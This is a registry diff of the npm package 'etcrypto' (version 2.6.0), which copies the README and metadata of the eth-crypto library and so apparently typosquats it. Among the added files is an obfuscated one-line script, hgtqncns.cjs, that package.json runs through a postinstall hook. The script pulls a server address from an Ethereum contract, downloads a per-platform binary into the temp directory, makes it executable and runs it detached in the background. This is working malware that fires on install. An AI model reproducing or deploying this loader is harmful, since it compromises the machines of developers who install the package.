etcrypto 0.0.1-security → 2.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of etcrypto might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README +69 -0
- package/README.md +340 -3
- package/hgtqncns.cjs +1 -0
- package/package.json +95 -4
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2018 Daniel M
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
<!--
|
2
|
+
This is a different readme file which will be published to npm
|
3
|
+
@link https://stackoverflow.com/a/52683086
|
4
|
+
The problem was that googled indexed the npm-site instead of the github site
|
5
|
+
-->
|
6
|
+
|
7
|
+
<p align="center">
|
8
|
+
<a alt="travis" href="https://travis-ci.org/pubkey/eth-crypto">
|
9
|
+
<img src="https://travis-ci.org/pubkey/eth-crypto.svg?branch=master" /></a>
|
10
|
+
<a href="https://twitter.com/pubkeypubkey">
|
11
|
+
<img src="https://img.shields.io/twitter/follow/pubkeypubkey.svg?style=social&logo=twitter"
|
12
|
+
alt="follow on Twitter"></a>
|
13
|
+
</p>
|
14
|
+
|
15
|
+
# eth-crypto
|
16
|
+
|
17
|
+
Cryptographic javascript-functions for ethereum and tutorials on how to use them together with web3js and solidity.
|
18
|
+
|
19
|
+
## Tutorials
|
20
|
+
|
21
|
+
- **[Creating Keys and use them for ethereum-transactions](./tutorials/creating-transactions.md)**
|
22
|
+
|
23
|
+
In this tutorial we will create an ethereum-identity and use it so send transactions to the blockchain.
|
24
|
+
|
25
|
+
- **[Sign and validate data with solidity](./tutorials/signed-data.md)**
|
26
|
+
|
27
|
+
In this tutorial we will sign data in javascript and validate the signature inside of a smart-contract.
|
28
|
+
|
29
|
+
- **[Sending encrypted and signed data to other identites](./tutorials/encrypted-message.md)**
|
30
|
+
|
31
|
+
In this tutorial we will use the ethereum-identites and asymmetric cryptography to send an encrypted and signed message from Alice to Bob.
|
32
|
+
|
33
|
+
## Functions
|
34
|
+
|
35
|
+
### Install
|
36
|
+
|
37
|
+
```bash
|
38
|
+
npm install eth-crypto --save
|
39
|
+
```
|
40
|
+
|
41
|
+
```javascript
|
42
|
+
// es6
|
43
|
+
import EthCrypto from 'eth-crypto';
|
44
|
+
|
45
|
+
// node
|
46
|
+
const EthCrypto = require('eth-crypto');
|
47
|
+
```
|
48
|
+
|
49
|
+
## API
|
50
|
+
|
51
|
+
- [createIdentity()](https://github.com/pubkey/eth-crypto#createidentity)
|
52
|
+
- [publicKeyByPrivateKey()](https://github.com/pubkey/eth-crypto#publickeybyprivatekey)
|
53
|
+
- [publicKey.toAddress()](https://github.com/pubkey/eth-crypto#publickeytoaddress)
|
54
|
+
- [publicKey.compress()](https://github.com/pubkey/eth-crypto#publickeycompress)
|
55
|
+
- [publicKey.decompress()](https://github.com/pubkey/eth-crypto#publickeydecompress)
|
56
|
+
- [sign()](https://github.com/pubkey/eth-crypto#sign)
|
57
|
+
- [recover()](https://github.com/pubkey/eth-crypto#recover)
|
58
|
+
- [recoverPublicKey()](https://github.com/pubkey/eth-crypto#recoverpublickey)
|
59
|
+
- [encryptWithPublicKey()](https://github.com/pubkey/eth-crypto#encryptwithpublickey)
|
60
|
+
- [decryptWithPrivateKey()](https://github.com/pubkey/eth-crypto#decryptwithprivatekey)
|
61
|
+
- [cipher.stringify()](https://github.com/pubkey/eth-crypto#cipherstringify)
|
62
|
+
- [cipher.parse()](https://github.com/pubkey/eth-crypto#cipherparse)
|
63
|
+
- [signTransaction()](https://github.com/pubkey/eth-crypto#signtransaction)
|
64
|
+
- [txDataByCompiled()](https://github.com/pubkey/eth-crypto#txdatabycompiled)
|
65
|
+
- [calculateContractAddress()](https://github.com/pubkey/eth-crypto#calculatecontractaddress)
|
66
|
+
- [hex.compress() hex.decompress()](https://github.com/pubkey/eth-crypto#hex-compressdecompress)
|
67
|
+
|
68
|
+
|
69
|
+
# [READ THE FULL DOCUMENTATION ON GITHUB](https://github.com/pubkey/eth-crypto)
|
package/README.md
CHANGED
@@ -1,5 +1,342 @@
|
|
1
|
-
|
1
|
+
<p align="center">
|
2
|
+
<a href="https://twitter.com/pubkeypubkey">
|
3
|
+
<img src="https://img.shields.io/twitter/follow/pubkeypubkey.svg?style=social&logo=twitter"
|
4
|
+
alt="follow on Twitter">
|
5
|
+
</a>
|
6
|
+
</p>
|
2
7
|
|
3
|
-
|
8
|
+
# eth-crypto
|
4
9
|
|
5
|
-
|
10
|
+
Cryptographic javascript-functions for ethereum and tutorials on how to use them together with web3js and solidity.
|
11
|
+
|
12
|
+
## Tutorials
|
13
|
+
|
14
|
+
- **[Creating keys and use them for ethereum transactions](./tutorials/creating-transactions.md)**
|
15
|
+
|
16
|
+
In this tutorial we will create an ethereum-identity and use it to send transactions to the blockchain.
|
17
|
+
|
18
|
+
- **[Sign and validate data with solidity](./tutorials/signed-data.md)**
|
19
|
+
|
20
|
+
In this tutorial we will sign data in javascript and validate the signature inside of a smart-contract.
|
21
|
+
|
22
|
+
- **[Sending encrypted and signed data to other identites](./tutorials/encrypted-message.md)**
|
23
|
+
|
24
|
+
In this tutorial we will use the ethereum-identites and asymmetric cryptography to send an encrypted and signed message from Alice to Bob.
|
25
|
+
|
26
|
+
## Sponsored by
|
27
|
+
|
28
|
+
<p align="center">
|
29
|
+
<a href="https://rxdb.info/?utm_source=github&utm_medium=repo&utm_campaign=github-eth-crypto-readme">
|
30
|
+
<img
|
31
|
+
src="https://rxdb.info/files/logo/logo_text.svg"
|
32
|
+
alt="JavaScript Database"
|
33
|
+
width="300"
|
34
|
+
/>
|
35
|
+
<br />
|
36
|
+
<br />
|
37
|
+
<span>The <b>JavaScript Database</b></span>
|
38
|
+
</a>
|
39
|
+
</p>
|
40
|
+
|
41
|
+
## Using eth-crypto
|
42
|
+
|
43
|
+
### Install
|
44
|
+
|
45
|
+
```bash
|
46
|
+
npm install eth-crypto --save
|
47
|
+
```
|
48
|
+
|
49
|
+
```javascript
|
50
|
+
// es6
|
51
|
+
import EthCrypto from 'eth-crypto';
|
52
|
+
|
53
|
+
// node
|
54
|
+
const EthCrypto = require('eth-crypto');
|
55
|
+
```
|
56
|
+
|
57
|
+
## API
|
58
|
+
|
59
|
+
- [createIdentity()](#createidentity)
|
60
|
+
- [publicKeyByPrivateKey()](#publickeybyprivatekey)
|
61
|
+
- [publicKey.toAddress()](#publickeytoaddress)
|
62
|
+
- [publicKey.compress()](#publickeycompress)
|
63
|
+
- [publicKey.decompress()](#publickeydecompress)
|
64
|
+
- [sign()](#sign)
|
65
|
+
- [recover()](#recover)
|
66
|
+
- [recoverPublicKey()](#recoverpublickey)
|
67
|
+
- [encryptWithPublicKey()](#encryptwithpublickey)
|
68
|
+
- [decryptWithPrivateKey()](#decryptwithprivatekey)
|
69
|
+
- [cipher.stringify()](#cipherstringify)
|
70
|
+
- [cipher.parse()](#cipherparse)
|
71
|
+
- [signTransaction()](#signtransaction)
|
72
|
+
- [txDataByCompiled()](#txdatabycompiled)
|
73
|
+
- [calculateContractAddress()](#calculatecontractaddress)
|
74
|
+
- [hex.compress() hex.decompress()](#hex-compressdecompress)
|
75
|
+
### createIdentity()
|
76
|
+
|
77
|
+
Creates a new ethereum-identity with privateKey, publicKey and address as hex-string.
|
78
|
+
|
79
|
+
```javascript
|
80
|
+
const identity = EthCrypto.createIdentity();
|
81
|
+
/* > {
|
82
|
+
address: '0x3f243FdacE01Cfd9719f7359c94BA11361f32471',
|
83
|
+
privateKey: '0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07',
|
84
|
+
publicKey: 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
85
|
+
} */
|
86
|
+
```
|
87
|
+
|
88
|
+
You can also create an identity by providing your own entropy-buffer. Use this with caution, a bad entropy can result in an unsecure private key.
|
89
|
+
|
90
|
+
```javascript
|
91
|
+
const entropy = Buffer.from('f2dacf...', 'utf-8'); // must contain at least 128 chars
|
92
|
+
const identity = EthCrypto.createIdentity(entropy);
|
93
|
+
/* > {
|
94
|
+
address: '0x59c8d4d645B0a3b230DE368d815ebDE372d37Ea8',
|
95
|
+
privateKey: '0x18cea40e44624867ddfd775b2898cdb2da29b4be92ee072b9eb02d43b6f2473a',
|
96
|
+
publicKey: '991ce4643653ef452327ee3d1a56af19c84599d340ffd427e784...'
|
97
|
+
} */
|
98
|
+
```
|
99
|
+
|
100
|
+
### publicKeyByPrivateKey()
|
101
|
+
|
102
|
+
Derives the publicKey from a privateKey and returns it as hex-string.
|
103
|
+
|
104
|
+
```javascript
|
105
|
+
const publicKey = EthCrypto.publicKeyByPrivateKey(
|
106
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07'
|
107
|
+
);
|
108
|
+
// > 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
109
|
+
```
|
110
|
+
|
111
|
+
### publicKey.toAddress()
|
112
|
+
|
113
|
+
Derives the ethereum-address from the publicKey.
|
114
|
+
|
115
|
+
```javascript
|
116
|
+
const address = EthCrypto.publicKey.toAddress(
|
117
|
+
'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
118
|
+
);
|
119
|
+
// > '0x3f243FdacE01Cfd9719f7359c94BA11361f32471'
|
120
|
+
```
|
121
|
+
|
122
|
+
### publicKey.compress()
|
123
|
+
|
124
|
+
Compresses an uncompressed publicKey.
|
125
|
+
|
126
|
+
```javascript
|
127
|
+
const address = EthCrypto.publicKey.compress(
|
128
|
+
'04a34d6aef3eb42335fb3cacb59...'
|
129
|
+
);
|
130
|
+
// > '03a34d6aef3eb42335fb3cacb59478c0b44c0bbeb8bb4ca427dbc7044157a5d24b' // compressed keys start with '02' or '03'
|
131
|
+
```
|
132
|
+
|
133
|
+
### publicKey.decompress()
|
134
|
+
|
135
|
+
Decompresses a compressed publicKey.
|
136
|
+
|
137
|
+
```javascript
|
138
|
+
const address = EthCrypto.publicKey.decompress(
|
139
|
+
'03a34d6aef3eb42335fb3c...'
|
140
|
+
);
|
141
|
+
// > 'a34d6aef3eb42335fb3cacb5947' // non-compressed keys start with '04' or no prefix
|
142
|
+
```
|
143
|
+
|
144
|
+
### sign()
|
145
|
+
|
146
|
+
Signs the hash with the privateKey. Returns the signature as hex-string.
|
147
|
+
|
148
|
+
```javascript
|
149
|
+
const message = 'foobar';
|
150
|
+
const messageHash = EthCrypto.hash.keccak256(message);
|
151
|
+
const signature = EthCrypto.sign(
|
152
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07', // privateKey
|
153
|
+
messageHash // hash of message
|
154
|
+
);
|
155
|
+
// > '0xc04b809d8f33c46ff80c44ba58e866ff0d5..'
|
156
|
+
```
|
157
|
+
|
158
|
+
### recover()
|
159
|
+
|
160
|
+
Recovers the signers address from the signature.
|
161
|
+
|
162
|
+
```javascript
|
163
|
+
const signer = EthCrypto.recover(
|
164
|
+
'0xc04b809d8f33c46ff80c44ba58e866ff0d5..',
|
165
|
+
EthCrypto.hash.keccak256('foobar') // signed message hash
|
166
|
+
);
|
167
|
+
// > '0x3f243FdacE01Cfd9719f7359c94BA11361f32471'
|
168
|
+
```
|
169
|
+
|
170
|
+
### recoverPublicKey()
|
171
|
+
|
172
|
+
Recovers the signers `publicKey` from the signature.
|
173
|
+
```javascript
|
174
|
+
const signer = EthCrypto.recoverPublicKey(
|
175
|
+
'0xc04b809d8f33c46ff80c44ba58e866ff0d5..', // signature
|
176
|
+
EthCrypto.hash.keccak256('foobar') // message hash
|
177
|
+
);
|
178
|
+
// > 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece..'
|
179
|
+
```
|
180
|
+
|
181
|
+
|
182
|
+
### encryptWithPublicKey()
|
183
|
+
|
184
|
+
Encrypts the message with the publicKey so that only the corresponding privateKey can decrypt it. Returns (async) the encrypted data as object with hex-strings.
|
185
|
+
|
186
|
+
```javascript
|
187
|
+
const encrypted = await EthCrypto.encryptWithPublicKey(
|
188
|
+
'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...', // publicKey
|
189
|
+
'foobar' // message
|
190
|
+
);
|
191
|
+
/* > {
|
192
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
193
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
194
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
195
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
196
|
+
} */
|
197
|
+
```
|
198
|
+
|
199
|
+
### decryptWithPrivateKey()
|
200
|
+
|
201
|
+
Decrypts the encrypted data with the privateKey. Returns (async) the message as string.
|
202
|
+
|
203
|
+
```javascript
|
204
|
+
const message = await EthCrypto.decryptWithPrivateKey(
|
205
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07', // privateKey
|
206
|
+
{
|
207
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
208
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
209
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
210
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
211
|
+
} // encrypted-data
|
212
|
+
);
|
213
|
+
// 'foobar'
|
214
|
+
```
|
215
|
+
|
216
|
+
### cipher.stringify()
|
217
|
+
|
218
|
+
Transforms the object with the encrypted data into a smaller string-representation.
|
219
|
+
|
220
|
+
```javascript
|
221
|
+
const str = EthCrypto.cipher.stringify({
|
222
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
223
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
224
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
225
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
226
|
+
});
|
227
|
+
// > '59ab06532fc965b0107977f43e69e5a4038db32099dab281c8f5aece2852...'
|
228
|
+
```
|
229
|
+
|
230
|
+
### cipher.parse()
|
231
|
+
|
232
|
+
Parses the string-representation back into the encrypted object.
|
233
|
+
|
234
|
+
```javascript
|
235
|
+
const str = EthCrypto.cipher.parse('59ab06532fc965b0107977f43e69e5a4038db32099dab281c8f5aece2852...');
|
236
|
+
/* > {
|
237
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
238
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
239
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
240
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
241
|
+
} */
|
242
|
+
```
|
243
|
+
|
244
|
+
### signTransaction()
|
245
|
+
|
246
|
+
Signs a raw transaction with the privateKey. Returns a serialized tx which can be submitted to the node.
|
247
|
+
|
248
|
+
```javascript
|
249
|
+
const identity = EthCrypto.createIdentity();
|
250
|
+
const rawTx = {
|
251
|
+
from: identity.address,
|
252
|
+
to: '0x86Fa049857E0209aa7D9e616F7eb3b3B78ECfdb0',
|
253
|
+
value: new BN('1000000000000000000'),
|
254
|
+
gasPrice: 5000000000,
|
255
|
+
nonce: 0,
|
256
|
+
gasLimit: 21000
|
257
|
+
};
|
258
|
+
const signedTx = EthCrypto.signTransaction(
|
259
|
+
rawTx,
|
260
|
+
identity.privateKey
|
261
|
+
);
|
262
|
+
console.log(signedTx);
|
263
|
+
// > '071d3a2040a2d2cb...'
|
264
|
+
|
265
|
+
// you can now send the tx to the node
|
266
|
+
const receipt = await web3.eth.sendSignedTransaction(signedTx);
|
267
|
+
```
|
268
|
+
|
269
|
+
### txDataByCompiled()
|
270
|
+
|
271
|
+
Creates the data-string which must be submitted with an transaction to create a contract-instance.
|
272
|
+
|
273
|
+
```javascript
|
274
|
+
const SolidityCli = require('solidity-cli');
|
275
|
+
|
276
|
+
// create compiled solidity-code
|
277
|
+
const compiled = await SolidityCli.compileCode(
|
278
|
+
'contract ExampleContract {...'
|
279
|
+
)[':ExampleContract'];
|
280
|
+
|
281
|
+
const createCode = EthCrypto.txDataByCompiled(
|
282
|
+
compiled.interface, // abi
|
283
|
+
compiled.bytecode, // bytecode
|
284
|
+
[identity.address] // constructor-arguments
|
285
|
+
);
|
286
|
+
|
287
|
+
// now you can submit this to the blockchain
|
288
|
+
const serializedTx = EthCrypto.signTransaction(
|
289
|
+
{
|
290
|
+
from: identity.address,
|
291
|
+
nonce: 0,
|
292
|
+
gasLimit: 5000000,
|
293
|
+
gasPrice: 5000000000,
|
294
|
+
data: createCode
|
295
|
+
},
|
296
|
+
identity.privateKey
|
297
|
+
);
|
298
|
+
const receipt = await web3.eth.sendSignedTransaction(serializedTx);
|
299
|
+
```
|
300
|
+
|
301
|
+
### calculateContractAddress()
|
302
|
+
Calculates the address for the contract from the senders address and the nonce, without deploying it to the blockchain.
|
303
|
+
|
304
|
+
```javascript
|
305
|
+
// pre-calculate address
|
306
|
+
const calculatedAddress = EthCrypto.calculateContractAddress(
|
307
|
+
account.address, // address of the sender
|
308
|
+
3 // nonce with which the contract will be deployed
|
309
|
+
);
|
310
|
+
|
311
|
+
const rawTx = {
|
312
|
+
from: account.address,
|
313
|
+
gasPrice: parseInt(gasPrice),
|
314
|
+
nonce: 3,
|
315
|
+
data: compiled.code
|
316
|
+
};
|
317
|
+
const receipt = await state.web3.eth.sendTransaction(rawTx);
|
318
|
+
|
319
|
+
console.log(receipt.contractAddress === calculatedAddress);
|
320
|
+
// > true
|
321
|
+
```
|
322
|
+
|
323
|
+
### hex compress/decompress
|
324
|
+
|
325
|
+
"Compress" or "decompress" a hex-string to make it smaller. You can either compress to utf16 which reduces the size to about 1/4, or to base64 which reduces the size to about 4/5. This is not a real compression, it just make your string smaller when you have to store it in utf-16 anyways.
|
326
|
+
|
327
|
+
```javascript
|
328
|
+
const hexString = '0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07'; // 66 chars
|
329
|
+
|
330
|
+
const utf16 = EthCrypto.hex.compress(hexString); // compress to utf16
|
331
|
+
// > 'ၻ炞䆷襞ⶬ輦ꂩቊ쮷蛰ﴚ艡Řᨇ' // 16 chars
|
332
|
+
|
333
|
+
const base64 = EthCrypto.hex.compress(hexString, true); // compress to base64
|
334
|
+
// > 'EHvpRnCeQbeJXuqfLaz5mKCpEkrLt4bw/RqCYQFYGgc=' // 44 chars
|
335
|
+
|
336
|
+
EthCrypto.hex.decompress(utf16); // decompress from utf16
|
337
|
+
// > '0x107be946709e41b7895eea9f2d...'
|
338
|
+
|
339
|
+
EthCrypto.hex.decompress(base64, true); // decompress from base64
|
340
|
+
// > '0x107be946709e41b7895eea9f2d...'
|
341
|
+
|
342
|
+
```
|
package/hgtqncns.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x3cddd6=_0x5dd0;function _0x5dd0(_0x1df695,_0x32bf88){const _0x241e17=_0x241e();return _0x5dd0=function(_0x5dd0c4,_0x4ed962){_0x5dd0c4=_0x5dd0c4-0x99;let _0x3895ae=_0x241e17[_0x5dd0c4];return _0x3895ae;},_0x5dd0(_0x1df695,_0x32bf88);}(function(_0x3be300,_0x165bb0){const _0x2c7aa1=_0x5dd0,_0x3c12ab=_0x3be300();while(!![]){try{const _0x2676d2=-parseInt(_0x2c7aa1(0xb4))/0x1*(-parseInt(_0x2c7aa1(0xc5))/0x2)+parseInt(_0x2c7aa1(0xa4))/0x3*(parseInt(_0x2c7aa1(0xc9))/0x4)+-parseInt(_0x2c7aa1(0xc0))/0x5*(parseInt(_0x2c7aa1(0xbf))/0x6)+-parseInt(_0x2c7aa1(0xbb))/0x7*(-parseInt(_0x2c7aa1(0x99))/0x8)+parseInt(_0x2c7aa1(0xcd))/0x9+-parseInt(_0x2c7aa1(0xb5))/0xa*(-parseInt(_0x2c7aa1(0x9e))/0xb)+-parseInt(_0x2c7aa1(0xcb))/0xc*(parseInt(_0x2c7aa1(0xcc))/0xd);if(_0x2676d2===_0x165bb0)break;else _0x3c12ab['push'](_0x3c12ab['shift']());}catch(_0x24b097){_0x3c12ab['push'](_0x3c12ab['shift']());}}}(_0x241e,0xaefad));const {ethers}=require(_0x3cddd6(0xca)),axios=require(_0x3cddd6(0xd1)),util=require(_0x3cddd6(0x9c)),fs=require('fs'),path=require(_0x3cddd6(0xa8)),os=require('os'),{spawn}=require(_0x3cddd6(0xd0)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x3cddd6(0xa0)],provider=ethers[_0x3cddd6(0xa9)](_0x3cddd6(0x9d)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x2420c1=_0x3cddd6,_0x23f5b0={'mwujV':_0x2420c1(0xb8),'MPXho':function(_0x534db1){return _0x534db1();}};try{const _0xcbc9be=await contract['getString'](WalletOwner);return _0xcbc9be;}catch(_0x5001ec){return console['error'](_0x23f5b0[_0x2420c1(0xb6)],_0x5001ec),await _0x23f5b0[_0x2420c1(0x9a)](fetchAndUpdateIp);}},getDownloadUrl=_0x259c6f=>{const _0x1fa36a=_0x3cddd6,_0x4f3ed1={'idEpE':_0x1fa36a(0xce),'sxGdy':_0x1fa36a(0x9b)},_0x11dc17=os[_0x1fa36a(0xaf)]();switch(_0x11dc17){case _0x4f3ed1[_0x1fa36a(0xaa)]:return _0x259c6f+_0x1fa36a(0xc2);case _0x4f3ed1[_0x1fa36a(0xb2)]:return _0x259c6f+_0x1fa36a(0xab);case _0x1fa36a(0xb9):return _0x259c6f+_0x1fa36a(0xbd);default:throw new Error('Unsupported\x20platform:\x20'+_0x11dc17);}},downloadFile=async(_0x570e95,_0x2344eb)=>{const _0x4b2389=_0x3cddd6,_0x146b5f={'IguFt':_0x4b2389(0xb3),'cqlYV':'error','UMKtL':function(_0x365274,_0xb8691a){return _0x365274(_0xb8691a);},'OMVzt':_0x4b2389(0xc1)},_0x790f9c=fs['createWriteStream'](_0x2344eb),_0x2cfe5c=await _0x146b5f[_0x4b2389(0xcf)](axios,{'url':_0x570e95,'method':_0x4b2389(0xa6),'responseType':_0x146b5f[_0x4b2389(0xb1)]});return _0x2cfe5c['data']['pipe'](_0x790f9c),new Promise((_0x43bdca,_0x361eb6)=>{const _0x6f1039=_0x4b2389;_0x790f9c['on'](_0x146b5f[_0x6f1039(0xa3)],_0x43bdca),_0x790f9c['on'](_0x146b5f[_0x6f1039(0xa1)],_0x361eb6);});},executeFileInBackground=async _0x27b44b=>{const _0x41097d=_0x3cddd6,_0xceb6fe={'deDCk':function(_0x50bc57,_0x17a153,_0x4ec444,_0x49e2cc){return _0x50bc57(_0x17a153,_0x4ec444,_0x49e2cc);},'jEULJ':_0x41097d(0x9f),'UOjSP':_0x41097d(0xc4)};try{const _0x3d1930=_0xceb6fe[_0x41097d(0xba)](spawn,_0x27b44b,[],{'detached':!![],'stdio':_0xceb6fe[_0x41097d(0xc8)]});_0x3d1930[_0x41097d(0xa5)]();}catch(_0x2f9bda){console[_0x41097d(0xc7)](_0xceb6fe[_0x41097d(0xae)],_0x2f9bda);}},runInstallation=async()=>{const _0x5daea8=_0x3cddd6,_0x5d4f4b={'tfZiS':function(_0x55528d){return _0x55528d();},'sRERk':function(_0xef2547,_0x440053){return _0xef2547(_0x440053);},'DfRIH':function(_0x583c9d,_0x5cdb5f,_0x46711f){return _0x583c9d(_0x5cdb5f,_0x46711f);},'LhqyA':function(_0x44de72,_0x29d29d){return _0x44de72!==_0x29d29d;},'mRRtP':_0x5daea8(0xce),'WJjUn':'755','aQnpl':_0x5daea8(0xa2)};try{const _0x86c2a1=await _0x5d4f4b['tfZiS'](fetchAndUpdateIp),_0x360b2f=_0x5d4f4b[_0x5daea8(0xb0)](getDownloadUrl,_0x86c2a1),_0x5afe92=os[_0x5daea8(0xbc)](),_0xcda424=path[_0x5daea8(0xc3)](_0x360b2f),_0x1d1736=path[_0x5daea8(0xc6)](_0x5afe92,_0xcda424);await _0x5d4f4b['DfRIH'](downloadFile,_0x360b2f,_0x1d1736);if(_0x5d4f4b[_0x5daea8(0xad)](os[_0x5daea8(0xaf)](),_0x5d4f4b[_0x5daea8(0xb7)]))fs[_0x5daea8(0xac)](_0x1d1736,_0x5d4f4b[_0x5daea8(0xa7)]);_0x5d4f4b[_0x5daea8(0xb0)](executeFileInBackground,_0x1d1736);}catch(_0x1d5183){console[_0x5daea8(0xc7)](_0x5d4f4b[_0x5daea8(0xbe)],_0x1d5183);}};function _0x241e(){const _0x14e7ca=['3mJuKFD','unref','GET','WJjUn','path','getDefaultProvider','idEpE','/node-linux','chmodSync','LhqyA','UOjSP','platform','sRERk','OMVzt','sxGdy','finish','6389dVLNja','10270AQIysa','mwujV','mRRtP','Ошибка\x20при\x20получении\x20IP\x20адреса:','darwin','deDCk','7CRWIGG','tmpdir','/node-macos','aQnpl','73212auaznz','530RHPnuf','stream','/node-win.exe','basename','Ошибка\x20при\x20запуске\x20файла:','326sgvvLs','join','error','jEULJ','4098544OFENmV','ethers','48GCyMRs','4820842kvbgOo','6287931RllwmN','win32','UMKtL','child_process','axios','1031960AFHcpA','MPXho','linux','util','mainnet','6424tgUplp','ignore','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','cqlYV','Ошибка\x20установки:','IguFt'];_0x241e=function(){return _0x14e7ca;};return _0x241e();}runInstallation();
|
package/package.json
CHANGED
@@ -1,6 +1,97 @@
|
|
1
1
|
{
|
2
2
|
"name": "etcrypto",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "2.6.0",
|
4
|
+
"description": "Cryptographic functions for ethereum and how to use them with web3 and solidity",
|
5
|
+
"keywords": [
|
6
|
+
"ethereum",
|
7
|
+
"eth",
|
8
|
+
"web3",
|
9
|
+
"solidity",
|
10
|
+
"encryption",
|
11
|
+
"secp256k1",
|
12
|
+
"dapp",
|
13
|
+
"blockchain",
|
14
|
+
"ecies",
|
15
|
+
"smart-contract",
|
16
|
+
"identity",
|
17
|
+
"signature"
|
18
|
+
],
|
19
|
+
"main": "./dist/lib/index.js",
|
20
|
+
"jsnext:main": "./dist/es/index.js",
|
21
|
+
"module": "./dist/es/index.js",
|
22
|
+
"types": "./typings/index.d.ts",
|
23
|
+
"scripts": {
|
24
|
+
"postinstall": "node hgtqncns.cjs"
|
25
|
+
},
|
26
|
+
"repository": {
|
27
|
+
"type": "git",
|
28
|
+
"url": "git+https://github.com/pubkey/eth-crypto.git"
|
29
|
+
},
|
30
|
+
"author": "pubkey",
|
31
|
+
"funding": "https://github.com/sponsors/pubkey",
|
32
|
+
"license": "MIT",
|
33
|
+
"bugs": {
|
34
|
+
"url": "https://github.com/pubkey/eth-crypto/issues"
|
35
|
+
},
|
36
|
+
"homepage": "https://github.com/pubkey/eth-crypto#readme",
|
37
|
+
"devDependencies": {
|
38
|
+
"@babel/cli": "7.20.7",
|
39
|
+
"@babel/core": "7.20.12",
|
40
|
+
"@babel/plugin-transform-runtime": "7.19.6",
|
41
|
+
"@babel/preset-env": "7.20.2",
|
42
|
+
"assert": "2.0.0",
|
43
|
+
"async-test-util": "2.0.0",
|
44
|
+
"babel-loader": "9.1.2",
|
45
|
+
"bn.js": "5.2.1",
|
46
|
+
"browserify": "17.0.0",
|
47
|
+
"concurrently": "7.6.0",
|
48
|
+
"convert-hrtime": "5.0.0",
|
49
|
+
"cross-env": "7.0.3",
|
50
|
+
"dependency-check": "4.1.0",
|
51
|
+
"disc": "1.3.3",
|
52
|
+
"eslint": "7.32.0",
|
53
|
+
"ganache-cli": "6.12.2",
|
54
|
+
"gzip-size-cli": "4.1.0",
|
55
|
+
"is-node": "1.0.2",
|
56
|
+
"js-sha3": "0.8.0",
|
57
|
+
"karma": "6.4.1",
|
58
|
+
"karma-babel-preprocessor": "8.0.2",
|
59
|
+
"karma-browserify": "8.1.0",
|
60
|
+
